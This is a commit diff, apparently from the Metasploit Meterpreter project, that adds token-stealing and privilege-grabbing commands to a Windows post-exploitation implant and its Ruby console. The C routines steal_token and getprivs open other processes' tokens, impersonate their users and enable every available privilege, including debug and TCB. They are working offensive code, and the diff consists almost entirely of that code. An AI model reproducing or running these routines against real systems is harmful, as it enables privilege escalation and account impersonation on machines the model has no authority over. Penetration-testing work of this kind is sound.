Fixes #745. This commit changes how token manipulation works, adds the steal_token, drop_token, and getprivs commands. Tested on NT 4.0, 2000 SP4, XP SP3, 2003 SP2, Vista, and Windows 7

git-svn-id: file:///home/svn/framework3/trunk@8055 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2010-01-02 00:35:10 +00:00
parent 1f0380e5ec
commit 4d7aec7c2d
29 changed files with 398 additions and 26 deletions

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -238,6 +238,7 @@ DWORD THREADCALL command_process_thread( THREAD * thread )
{
do
{
// Extract the method
result = packet_get_tlv_string( packet, TLV_TYPE_METHOD, &methodTlv );
if( result != ERROR_SUCCESS )
@ -245,6 +246,13 @@ DWORD THREADCALL command_process_thread( THREAD * thread )
dprintf( "[COMMAND] Processing method %s", methodTlv.buffer );
// Impersonate the thread token if needed
if(remote->hServerToken != remote->hThreadToken) {
if(! ImpersonateLoggedOnUser(remote->hThreadToken)) {
dprintf( "[COMMAND] Failed to impersonate thread token (%s) (%u)", methodTlv.buffer, GetLastError());
}
}
// Get the request identifier if the packet has one.
result = packet_get_tlv_string( packet, TLV_TYPE_REQUEST_ID, &requestIdTlv );
if( result == ERROR_SUCCESS )

View File

@ -60,6 +60,36 @@ DWORD send_core_console_write(Remote *remote, LPCSTR fmt, ...)
return res;
}
/*
* Transmit a single string to the remote connection with instructions to
* print it to the screen or whatever medium has been established.
*/
HANDLE core_update_thread_token(Remote *remote, HANDLE token)
{
HANDLE temp = NULL;
lock_acquire( remote->lock );
do {
temp = remote->hThreadToken;
// A NULL token resets the state back to the server token
if(! token)
token = remote->hServerToken;
// Assign the thread token
remote->hThreadToken = token;
// Close the old token if its not one of the two active tokens
if(temp && temp != remote->hServerToken && temp != remote->hThreadToken) {
CloseHandle(temp);
}
} while(0);
lock_release( remote->lock );
return(token);
}
/*******************
* Packet Routines *
*******************/

View File

@ -188,5 +188,5 @@ LINKAGE DWORD packet_remove_completion_handler(LPCSTR requestId);
* Core API
*/
LINKAGE DWORD send_core_console_write(Remote *remote, LPCSTR fmt, ...);
LINKAGE HANDLE core_update_thread_token(Remote *remote, HANDLE token);
#endif

View File

@ -17,6 +17,9 @@ typedef struct _Remote
SSL_CTX *ctx;
SSL *ssl;
LOCK * lock; // lock must be acquired before doing any OpenSSL related action.
HANDLE hServerThread;
HANDLE hServerToken;
HANDLE hThreadToken;
} Remote;
Remote *remote_allocate(SOCKET fd);

View File

@ -157,7 +157,7 @@ THREAD * thread_open( VOID )
else
{
NTOPENTHREAD pNtOpenThread = NULL;
// If we can use OpenThread, we try the older NtOpenThread function as found on NT4 machines.
// If we can't use OpenThread, we try the older NtOpenThread function as found on NT4 machines.
HMODULE hNtDll = LoadLibrary( "ntdll.dll" );
pNtOpenThread = (NTOPENTHREAD)GetProcAddress( hNtDll, "NtOpenThread" );
if( pNtOpenThread )

View File

@ -108,6 +108,7 @@ DWORD request_incognito_impersonate_token(Remote *remote, Packet *packet)
SavedToken *token_list = NULL;
BOOL bTokensAvailable = FALSE, delegation_available = FALSE;
char temp[BUF_SIZE] = "", *requested_username, return_value[BUF_SIZE] = "";
HANDLE xtoken;
Packet *response = packet_create_response(packet);
requested_username = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_IMPERSONATE_TOKEN);
@ -148,7 +149,12 @@ DWORD request_incognito_impersonate_token(Remote *remote, Packet *packet)
strncat(return_value, "[+] Successfully impersonated user ", sizeof(return_value)-strlen(return_value)-1);
strncat(return_value, token_list[i].username, sizeof(return_value)-strlen(return_value)-1);
strncat(return_value, "\n", sizeof(return_value)-strlen(return_value)-1);
if (!DuplicateToken(token_list[i].token, SecurityImpersonation, &xtoken)) {
dprintf("[INCOGNITO] Failed to duplicate token for %s (%u)", token_list[i].username, GetLastError());
} else {
core_update_thread_token(remote, xtoken);
}
goto cleanup;
}
}

View File

@ -239,7 +239,18 @@ Command customCommands[] =
{ request_sys_config_rev2self, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_config_getprivs",
{ request_sys_config_getprivs, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_config_steal_token",
{ request_sys_config_steal_token, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
{ "stdapi_sys_config_drop_token",
{ request_sys_config_drop_token, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Net
{ "stdapi_net_config_get_routes",
{ request_net_config_get_routes, { 0 }, 0 },

View File

@ -51,6 +51,228 @@ DWORD request_sys_config_getuid(Remote *remote, Packet *packet)
return res;
}
/*
* sys_droptoken
* ----------
*
* Drops an existing thread token
*/
DWORD request_sys_config_drop_token(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD res = ERROR_SUCCESS;
CHAR username[512], username_only[512], domainname_only[512];
LPVOID TokenUserInfo[4096];
HANDLE token;
DWORD user_length = sizeof(username_only), domain_length = sizeof(domainname_only);
DWORD size = sizeof(username), sid_type = 0, returned_tokinfo_length;
memset(username, 0, sizeof(username));
memset(username_only, 0, sizeof(username_only));
memset(domainname_only, 0, sizeof(domainname_only));
do
{
core_update_thread_token(remote, NULL);
if (!GetTokenInformation(remote->hThreadToken, TokenUser, TokenUserInfo, 4096, &returned_tokinfo_length))
{
res = GetLastError();
break;
}
if (!LookupAccountSidA(NULL, ((TOKEN_USER*)TokenUserInfo)->User.Sid, username_only, &user_length, domainname_only, &domain_length, (PSID_NAME_USE)&sid_type))
{
res = GetLastError();
break;
}
// Make full name in DOMAIN\USERNAME format
_snprintf(username, 512, "%s\\%s", domainname_only, username_only);
username[511] = '\0';
packet_add_tlv_string(response, TLV_TYPE_USER_NAME, username);
} while (0);
// Transmit the response
packet_transmit_response(res, remote, response);
return res;
}
/*
* sys_getprivs
* ----------
*
* Obtains as many privileges as possible
* Based on the example at http://nibuthomas.com/tag/openprocesstoken/
*/
DWORD request_sys_config_getprivs(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD res = ERROR_SUCCESS;
HANDLE token = NULL;
int x;
TOKEN_PRIVILEGES priv = {0};
LPCTSTR privs[] = {
SE_DEBUG_NAME,
SE_TCB_NAME,
SE_CREATE_TOKEN_NAME,
SE_ASSIGNPRIMARYTOKEN_NAME,
SE_LOCK_MEMORY_NAME,
SE_INCREASE_QUOTA_NAME,
SE_UNSOLICITED_INPUT_NAME,
SE_MACHINE_ACCOUNT_NAME,
SE_SECURITY_NAME,
SE_TAKE_OWNERSHIP_NAME,
SE_LOAD_DRIVER_NAME,
SE_SYSTEM_PROFILE_NAME,
SE_SYSTEMTIME_NAME,
SE_PROF_SINGLE_PROCESS_NAME,
SE_INC_BASE_PRIORITY_NAME,
SE_CREATE_PAGEFILE_NAME,
SE_CREATE_PERMANENT_NAME,
SE_BACKUP_NAME,
SE_RESTORE_NAME,
SE_SHUTDOWN_NAME,
SE_AUDIT_NAME,
SE_SYSTEM_ENVIRONMENT_NAME,
SE_CHANGE_NOTIFY_NAME,
SE_REMOTE_SHUTDOWN_NAME,
SE_UNDOCK_NAME,
SE_SYNC_AGENT_NAME,
SE_ENABLE_DELEGATION_NAME,
SE_MANAGE_VOLUME_NAME,
0
};
do
{
if( !OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token )) {
res = GetLastError();
break;
}
for( x = 0; privs[x]; ++x )
{
memset(&priv, 0, sizeof(priv));
LookupPrivilegeValue(NULL, privs[x], &priv.Privileges[0].Luid );
priv.PrivilegeCount = 1;
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(AdjustTokenPrivileges(token, FALSE, &priv, 0, 0, 0 )) {
if(GetLastError() == ERROR_SUCCESS) {
packet_add_tlv_string(response, TLV_TYPE_PRIVILEGE, privs[x]);
}
} else {
dprintf("[getprivs] Failed to set privilege %s (%u)", privs[x], GetLastError());
}
}
} while (0);
if(token)
CloseHandle(token);
// Transmit the response
packet_transmit_response(res, remote, response);
return res;
}
/*
* sys_steal_token
* ----------
*
* Steals the primary token from an existing process
*/
DWORD request_sys_config_steal_token(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD res = ERROR_SUCCESS;
CHAR username[512], username_only[512], domainname_only[512];
LPVOID TokenUserInfo[4096];
HANDLE token = NULL;
HANDLE handle = NULL;
HANDLE xtoken = NULL;
DWORD pid;
DWORD user_length = sizeof(username_only), domain_length = sizeof(domainname_only);
DWORD size = sizeof(username), sid_type = 0, returned_tokinfo_length;
memset(username, 0, sizeof(username));
memset(username_only, 0, sizeof(username_only));
memset(domainname_only, 0, sizeof(domainname_only));
do
{
// Get the process identifier that we're attaching to, if any.
pid = packet_get_tlv_value_uint(packet, TLV_TYPE_PID);
if (!pid) {
res = -1;
break;
}
handle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
if(!handle) {
res = GetLastError();
dprintf("[STEAL-TOKEN] Failed to open process handle for %d (%u)", pid, res);
break;
}
if(! OpenProcessToken(handle, TOKEN_QUERY|TOKEN_DUPLICATE|TOKEN_IMPERSONATE, &token)){
res = GetLastError();
dprintf("[STEAL-TOKEN] Failed to open process token for %d (%u)", pid, res);
break;
}
if(! ImpersonateLoggedOnUser(token)) {
res = GetLastError();
dprintf("[STEAL-TOKEN] Failed to impersonate token for %d (%u)", pid, res);
break;
}
if(! DuplicateToken(token, SecurityImpersonation, &xtoken)) {
res = GetLastError();
dprintf("[STEAL-TOKEN] Failed to duplicate token for %d (%u)", pid, res);
break;
}
core_update_thread_token(remote, xtoken);
if (! GetTokenInformation(token, TokenUser, TokenUserInfo, 4096, &returned_tokinfo_length))
{
res = GetLastError();
dprintf("[STEAL-TOKEN] Failed to get token information for %d (%u)", pid, res);
break;
}
if (!LookupAccountSidA(NULL, ((TOKEN_USER*)TokenUserInfo)->User.Sid, username_only, &user_length, domainname_only, &domain_length, (PSID_NAME_USE)&sid_type))
{
res = GetLastError();
dprintf("[STEAL-TOKEN] Failed to lookup sid for %d (%u)", pid, res);
break;
}
// Make full name in DOMAIN\USERNAME format
_snprintf(username, 512, "%s\\%s", domainname_only, username_only);
username[511] = '\0';
packet_add_tlv_string(response, TLV_TYPE_USER_NAME, username);
} while (0);
if(handle)
CloseHandle(handle);
if(token)
CloseHandle(token);
// Transmit the response
packet_transmit_response(res, remote, response);
return res;
}
/*
* sys_sysinfo

View File

@ -4,5 +4,7 @@
DWORD request_sys_config_getuid(Remote *remote, Packet *packet);
DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet);
DWORD request_sys_config_rev2self(Remote *remote, Packet *packet);
DWORD request_sys_config_getprivs(Remote *remote, Packet *packet);
DWORD request_sys_config_steal_token(Remote *remote, Packet *packet);
DWORD request_sys_config_drop_token(Remote *remote, Packet *packet);
#endif

View File

@ -32,7 +32,11 @@
TLV_META_TYPE_UINT, \
TLV_TYPE_EXTENSION_STDAPI, \
631)
#define TLV_TYPE_PRIVILEGE \
MAKE_CUSTOM_TLV( \
TLV_META_TYPE_STRING, \
TLV_TYPE_EXTENSION_STDAPI, \
632)
// Fs
#define TLV_TYPE_DIRECTORY_PATH \
MAKE_CUSTOM_TLV( \

View File

@ -10,22 +10,22 @@
*/
#define METSRV_VERSION_NUMBER 0x00000500
#ifdef _WIN32
#ifdef _WIN32
#define USE_DLL
#endif
#endif
#define METERPRETER_EXPORTS
#include "../common/common.h"
#include "remote_dispatch.h"
#include "libloader.h"
#ifdef _WIN32
#ifdef _WIN32
#include "../ReflectiveDLLInjection/GetProcAddressR.h"
#include "../ReflectiveDLLInjection/LoadLibraryR.h"
#include "../ReflectiveDLLInjection/ReflectiveLoader.h"
#endif
DWORD server_setup(SOCKET fd);
#endif
DWORD server_setup(SOCKET fd);
#endif

View File

@ -1,6 +1,6 @@
#ifndef _METERPRETER_SERVER_REMOTE_DISPATCHER_H
#define _METERPRETER_SERVER_REMOTE_DISPATCHER_H
/*
* core_loadlib
@ -20,7 +20,7 @@
* - Implement in-memory library loading
*/
DWORD request_core_loadlib(Remote *remote, Packet *packet);
VOID register_dispatch_routines();
VOID deregister_dispatch_routines();

View File

@ -1,14 +1,14 @@
#include "metsrv.h"
#ifdef _WIN32
#ifdef _WIN32
// see ReflectiveLoader.c...
extern HINSTANCE hAppInstance;
#endif
#endif
/**************************
* Core dispatch routines *
**************************/
// Dispatch table
Command custom_commands[] =
{

View File

@ -122,6 +122,11 @@ static VOID server_socket_flush( Remote * remote )
ret = recv(fd, buff, sizeof(buff), 0);
dprintf("[SERVER] Flushed %d bytes from the buffer");
// The socket closed while we waited
if(ret == 0) {
break;
}
continue;
}
@ -372,6 +377,18 @@ DWORD server_setup( SOCKET fd )
// Do not allow the file descriptor to be inherited by child processes
SetHandleInformation((HANDLE)fd, HANDLE_FLAG_INHERIT, 0);
dprintf("[SERVER] Initializing tokens...");
// Store our thread handle
remote->hServerThread = serverThread->handle;
// Store our process token
if (!OpenThreadToken(remote->hServerThread, TOKEN_ALL_ACCESS, TRUE, &remote->hServerToken))
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &remote->hServerToken);
// Copy it to the thread token
remote->hThreadToken = remote->hServerToken;
dprintf("[SERVER] Flushing the socket handle...");
server_socket_flush( remote );

View File

@ -52,8 +52,39 @@ class Config
# Calls RevertToSelf on the remote machine.
#
def revert_to_self
client.send_request(
Packet.create_request('stdapi_sys_config_rev2self'))
client.send_request(Packet.create_request('stdapi_sys_config_rev2self'))
end
#
# Steals the primary token from a target process
#
def steal_token(pid)
req = Packet.create_request('stdapi_sys_config_steal_token')
req.add_tlv(TLV_TYPE_PID, pid.to_i)
res = client.send_request(req)
return res.get_tlv_value(TLV_TYPE_USER_NAME)
end
#
# Drops any assumed token
#
def drop_token
req = Packet.create_request('stdapi_sys_config_drop_token')
res = client.send_request(req)
return res.get_tlv_value(TLV_TYPE_USER_NAME)
end
#
# Enables all possible privileges
#
def getprivs
req = Packet.create_request('stdapi_sys_config_getprivs')
ret = []
res = client.send_request(req)
res.each(TLV_TYPE_PRIVILEGE) do |p|
ret << p.value
end
return ret
end
protected
@ -62,4 +93,5 @@ protected
end
end; end; end; end; end; end
end; end; end; end; end; end

View File

@ -33,7 +33,7 @@ class Process < Rex::Post::Process
#
##
class <<self
class << self
attr_accessor :client
end
@ -73,7 +73,7 @@ class Process < Rex::Post::Process
real_perms |= PROCESS_TERMINATE | PROCESS_CREATE_THREAD | PROCESS_CREATE_PROCESS | PROCESS_SUSPEND_RESUME
end
return _open(pid, real_perms)
return _open(pid, real_perms)
end
#
@ -164,14 +164,14 @@ class Process < Rex::Post::Process
# If we were creating a channel out of this
if (channel_id != nil)
channel = Rex::Post::Meterpreter::Channels::Pools::StreamPool.new(client,
channel = Rex::Post::Meterpreter::Channels::Pools::StreamPool.new(client,
channel_id, "stdapi_process", CHANNEL_FLAG_SYNCHRONOUS)
end
# Return a process instance
return self.new(pid, handle, channel)
end
#
# Kills one or more processes.
#
@ -216,7 +216,7 @@ class Process < Rex::Post::Process
response = client.send_request(request)
response.each(TLV_TYPE_PROCESS_GROUP) { |p|
processes <<
processes <<
{
'pid' => p.get_tlv_value(TLV_TYPE_PID),
'name' => p.get_tlv_value(TLV_TYPE_PROCESS_NAME),
@ -296,7 +296,7 @@ class Process < Rex::Post::Process
#
# Block untill this process terminates on the remote side.
# By default we choose not to allow a packet responce timeout to
# By default we choose not to allow a packet responce timeout to
# occur as we may be waiting indefinatly for the process to terminate.
#
def wait( timeout = -1 )
@ -337,3 +337,4 @@ protected
end
end; end; end; end; end; end

View File

@ -16,6 +16,7 @@ TLV_TYPE_HANDLE = TLV_META_TYPE_UINT | 600
TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601
TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_UINT | 630
TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_UINT | 631
TLV_TYPE_PRIVILEGE = TLV_META_TYPE_STRING | 632
##
#
@ -166,3 +167,4 @@ TLV_TYPE_POWER_FLAGS = TLV_META_TYPE_UINT | 4100
TLV_TYPE_POWER_REASON = TLV_META_TYPE_UINT | 4101
end; end; end; end; end

View File

@ -49,6 +49,7 @@ class Console::CommandDispatcher::Stdapi::Sys
"execute" => "Execute a command",
"getpid" => "Get the current process identifier",
"getuid" => "Get the user that the server is running as",
"getprivs" => "Get as many privileges as possible",
"kill" => "Terminate a process",
"ps" => "List running processes",
"reboot" => "Reboots the remote computer",
@ -57,6 +58,8 @@ class Console::CommandDispatcher::Stdapi::Sys
"sysinfo" => "Gets information about the remote system, such as OS",
"shell" => "Drop into a system command shell",
"shutdown" => "Shuts down the remote computer",
"steal_token" => "Attempts to steal an impersonation token from the target process",
"drop_token" => "Relinquishes any active impersonation token.",
}
end
@ -396,6 +399,37 @@ class Console::CommandDispatcher::Stdapi::Sys
client.sys.config.revert_to_self
end
#
# Obtains as many privileges as possible on the target machine.
#
def cmd_getprivs(*args)
print_line("=" * 60)
print_line("Enabled Process Privileges")
print_line("=" * 60)
client.sys.config.getprivs.each do |priv|
print_line(" #{priv}")
end
print_line("")
end
#
# Tries to steal the primary token from the target process.
#
def cmd_steal_token(*args)
if(args.length != 1 or args[0] == "-h")
print_error("Usage: steal_token [pid]")
return
end
print_line("Stolen token with username: " + client.sys.config.steal_token(args[0]))
end
#
# Drops any assumed token.
#
def cmd_drop_token(*args)
print_line("Relinquished token, now running as: " + client.sys.config.drop_token())
end
#
# Displays information about the remote system.
#